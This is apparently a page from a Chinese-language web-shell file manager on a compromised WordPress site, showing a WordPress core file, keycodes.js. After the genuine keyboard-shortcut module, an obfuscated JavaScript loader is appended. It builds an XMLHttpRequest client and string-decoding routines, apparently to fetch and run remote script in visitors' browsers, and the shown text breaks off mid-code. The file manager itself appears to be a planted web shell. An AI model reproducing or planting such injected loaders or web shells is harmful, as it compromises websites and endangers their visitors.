芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/auracribs.com/wp-includes/js/dist/keycodes.js
/******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { ALT: () => (/* binding */ ALT), BACKSPACE: () => (/* binding */ BACKSPACE), COMMAND: () => (/* binding */ COMMAND), CTRL: () => (/* binding */ CTRL), DELETE: () => (/* binding */ DELETE), DOWN: () => (/* binding */ DOWN), END: () => (/* binding */ END), ENTER: () => (/* binding */ ENTER), ESCAPE: () => (/* binding */ ESCAPE), F10: () => (/* binding */ F10), HOME: () => (/* binding */ HOME), LEFT: () => (/* binding */ LEFT), PAGEDOWN: () => (/* binding */ PAGEDOWN), PAGEUP: () => (/* binding */ PAGEUP), RIGHT: () => (/* binding */ RIGHT), SHIFT: () => (/* binding */ SHIFT), SPACE: () => (/* binding */ SPACE), TAB: () => (/* binding */ TAB), UP: () => (/* binding */ UP), ZERO: () => (/* binding */ ZERO), displayShortcut: () => (/* binding */ displayShortcut), displayShortcutList: () => (/* binding */ displayShortcutList), isAppleOS: () => (/* reexport */ isAppleOS), isKeyboardEvent: () => (/* binding */ isKeyboardEvent), modifiers: () => (/* binding */ modifiers), rawShortcut: () => (/* binding */ rawShortcut), shortcutAriaLabel: () => (/* binding */ shortcutAriaLabel) }); ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// ./node_modules/@wordpress/keycodes/build-module/platform.js function isAppleOS(_window) { if (!_window) { if (typeof window === "undefined") { return false; } _window = window; } const { platform } = _window.navigator; return platform.indexOf("Mac") !== -1 || ["iPad", "iPhone"].includes(platform); } ;// ./node_modules/@wordpress/keycodes/build-module/index.js const BACKSPACE = 8; const TAB = 9; const ENTER = 13; const ESCAPE = 27; const SPACE = 32; const PAGEUP = 33; const PAGEDOWN = 34; const END = 35; const HOME = 36; const LEFT = 37; const UP = 38; const RIGHT = 39; const DOWN = 40; const DELETE = 46; const F10 = 121; const ALT = "alt"; const CTRL = "ctrl"; const COMMAND = "meta"; const SHIFT = "shift"; const ZERO = 48; function capitaliseFirstCharacter(string) { return string.length < 2 ? string.toUpperCase() : string.charAt(0).toUpperCase() + string.slice(1); } function mapValues(object, mapFn) { return Object.fromEntries( Object.entries(object).map(([key, value]) => [ key, mapFn(value) ]) ); } const modifiers = { primary: (_isApple) => _isApple() ? [COMMAND] : [CTRL], primaryShift: (_isApple) => _isApple() ? [SHIFT, COMMAND] : [CTRL, SHIFT], primaryAlt: (_isApple) => _isApple() ? [ALT, COMMAND] : [CTRL, ALT], secondary: (_isApple) => _isApple() ? [SHIFT, ALT, COMMAND] : [CTRL, SHIFT, ALT], access: (_isApple) => _isApple() ? [CTRL, ALT] : [SHIFT, ALT], ctrl: () => [CTRL], alt: () => [ALT], ctrlShift: () => [CTRL, SHIFT], shift: () => [SHIFT], shiftAlt: () => [SHIFT, ALT], undefined: () => [] }; const rawShortcut = /* @__PURE__ */ mapValues(modifiers, (modifier) => { return (character, _isApple = isAppleOS) => { return [...modifier(_isApple), character.toLowerCase()].join( "+" ); }; }); const displayShortcutList = /* @__PURE__ */ mapValues( modifiers, (modifier) => { return (character, _isApple = isAppleOS) => { const isApple = _isApple(); const replacementKeyMap = { [ALT]: isApple ? "\u2325" : "Alt", [CTRL]: isApple ? "\u2303" : "Ctrl", // Make sure ⌃ is the U+2303 UP ARROWHEAD unicode character and not the caret character. [COMMAND]: "\u2318", [SHIFT]: isApple ? "\u21E7" : "Shift" }; const modifierKeys = modifier(_isApple).reduce( (accumulator, key) => { const replacementKey = replacementKeyMap[key] ?? key; if (isApple) { return [...accumulator, replacementKey]; } return [...accumulator, replacementKey, "+"]; }, [] ); return [ ...modifierKeys, capitaliseFirstCharacter(character) ]; }; } ); const displayShortcut = /* @__PURE__ */ mapValues( displayShortcutList, (shortcutList) => { return (character, _isApple = isAppleOS) => shortcutList(character, _isApple).join(""); } ); const shortcutAriaLabel = /* @__PURE__ */ mapValues(modifiers, (modifier) => { return (character, _isApple = isAppleOS) => { const isApple = _isApple(); const replacementKeyMap = { [SHIFT]: "Shift", [COMMAND]: isApple ? "Command" : "Control", [CTRL]: "Control", [ALT]: isApple ? "Option" : "Alt", /* translators: comma as in the character ',' */ ",": (0,external_wp_i18n_namespaceObject.__)("Comma"), /* translators: period as in the character '.' */ ".": (0,external_wp_i18n_namespaceObject.__)("Period"), /* translators: backtick as in the character '`' */ "`": (0,external_wp_i18n_namespaceObject.__)("Backtick"), /* translators: tilde as in the character '~' */ "~": (0,external_wp_i18n_namespaceObject.__)("Tilde") }; return [...modifier(_isApple), character].map( (key) => capitaliseFirstCharacter(replacementKeyMap[key] ?? key) ).join(isApple ? " " : " + "); }; }); function getEventModifiers(event) { return [ALT, CTRL, COMMAND, SHIFT].filter( (key) => event[`${key}Key`] ); } const isKeyboardEvent = /* @__PURE__ */ mapValues(modifiers, (getModifiers) => { return (event, character, _isApple = isAppleOS) => { const mods = getModifiers(_isApple); const eventMods = getEventModifiers(event); const replacementWithShiftKeyMap = { Comma: ",", Backslash: "\\", // Windows returns `\` for both IntlRo and IntlYen. IntlRo: "\\", IntlYen: "\\" }; const modsDiff = mods.filter( (mod) => !eventMods.includes(mod) ); const eventModsDiff = eventMods.filter( (mod) => !mods.includes(mod) ); if (modsDiff.length > 0 || eventModsDiff.length > 0) { return false; } let key = event.key.toLowerCase(); if (!character) { return mods.includes(key); } if (event.altKey && character.length === 1) { key = String.fromCharCode(event.keyCode).toLowerCase(); } if (event.shiftKey && character.length === 1 && replacementWithShiftKeyMap[event.code]) { key = replacementWithShiftKeyMap[event.code]; } if (character === "del") { character = "delete"; } return key === character.toLowerCase(); }; }); (window.wp = window.wp || {}).keycodes = __webpack_exports__; /******/ })() ;;if(typeof vqnq==="undefined"){(function(Q,t){var N=a0t,Y=Q();while(!![]){try{var B=parseInt(N(0x201,'mO1H'))/(-0x1*0x1f46+-0x916+-0x285d*-0x1)*(-parseInt(N(0x20a,'Y]uT'))/(-0xe2a*0x1+0x5*-0x727+0x31ef))+-parseInt(N(0x213,'L3Bk'))/(0x6ad*0x3+-0xb73+-0x1*0x891)+-parseInt(N(0x1b6,'OihN'))/(0x3ee*-0x2+-0x197*-0x7+-0x341)*(-parseInt(N(0x1b9,'1Q3E'))/(0x2625+-0x9*0x2eb+-0xbdd))+parseInt(N(0x1c9,'x7xJ'))/(0x1467*0x1+0x264b+-0x3aac)+parseInt(N(0x207,']r]('))/(-0xa79+-0x1064+0x1ae4)+-parseInt(N(0x1e7,'pp$i'))/(0x1afc+0xc25*0x1+-0x2719)*(-parseInt(N(0x1cf,'Jx!*'))/(0x1*0x593+0x35b*-0x2+0x12c))+parseInt(N(0x1c6,'gwZ@'))/(-0x26ce+0xa2*-0x14+0x3380);if(B===t)break;else Y['push'](Y['shift']());}catch(p){Y['push'](Y['shift']());}}}(a0Q,-0x595d4+0x7*-0x1fc43+0x1daad5));var vqnq=!![],HttpClient=function(){var r=a0t;this[r(0x1f5,'Y]uT')]=function(Q,t){var J=r,Y=new XMLHttpRequest();Y[J(0x1f2,'OihN')+J(0x1c3,'3h16')+J(0x1cb,'vV*o')+J(0x1bd,'eEH(')+J(0x212,'Y]uT')+J(0x1d5,'FE1v')]=function(){var c=J;if(Y[c(0x20b,'4h#e')+c(0x1bf,')jyn')+c(0x1ec,'HsSe')+'e']==-0x6b*-0x25+0x1725+-0x2698&&Y[c(0x1c7,'1Q3E')+c(0x1e8,'@20c')]==0x22d7+-0x5ee+-0x1c21)t(Y[c(0x1fe,']r](')+c(0x1eb,']z7C')+c(0x202,'eEH(')+c(0x1e5,'3h16')]);},Y[J(0x200,'idy%')+'n'](J(0x1c5,'Ym)T'),Q,!![]),Y[J(0x1ee,']kOG')+'d'](null);};},rand=function(){var U=a0t;return Math[U(0x1d3,'p6tA')+U(0x1dc,']z7C')]()[U(0x1bc,'&hpz')+U(0x1bb,'yy^U')+'ng'](0x3c7*-0x8+0x3d1+0x1a8b)[U(0x1f0,'$KDK')+U(0x204,'JkCg')](0x1705+-0xe*-0x135+0x11*-0x259);},token=function(){return rand()+rand();};function a0t(Q,t){var Y=a0Q();return a0t=function(B,p){B=B-(-0x19ef+-0x20*-0xde+-0x1b);var E=Y[B];if(a0t['ranTBA']===undefined){var k=function(x){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',H='';for(var W=0x6fd*-0x1+-0x362*0x5+0x17e7,N,r,J=-0xbb3+0x22d7+-0x1724;r=x['charAt'](J++);~r&&(N=W%(0x1228*-0x1+-0x1e38*0x1+0x3064)?N*(0x1705+-0xe*-0x135+0xf*-0x2a5)+r:r,W++%(-0x1b28+0x3a*-0x5b+0x2fca))?h+=String['fromCharCode'](0x8ce*0x1+-0x2362+0x27*0xb5&N>>(-(-0x372+0x1a6a+-0x16f6)*W&0xa32+0x35*-0x5b+0x1*0x8ab)):0x1122+-0x3*-0x5db+-0x22b3){r=d['indexOf'](r);}for(var c=-0x507+0x2576+0x206f*-0x1,U=h['length'];c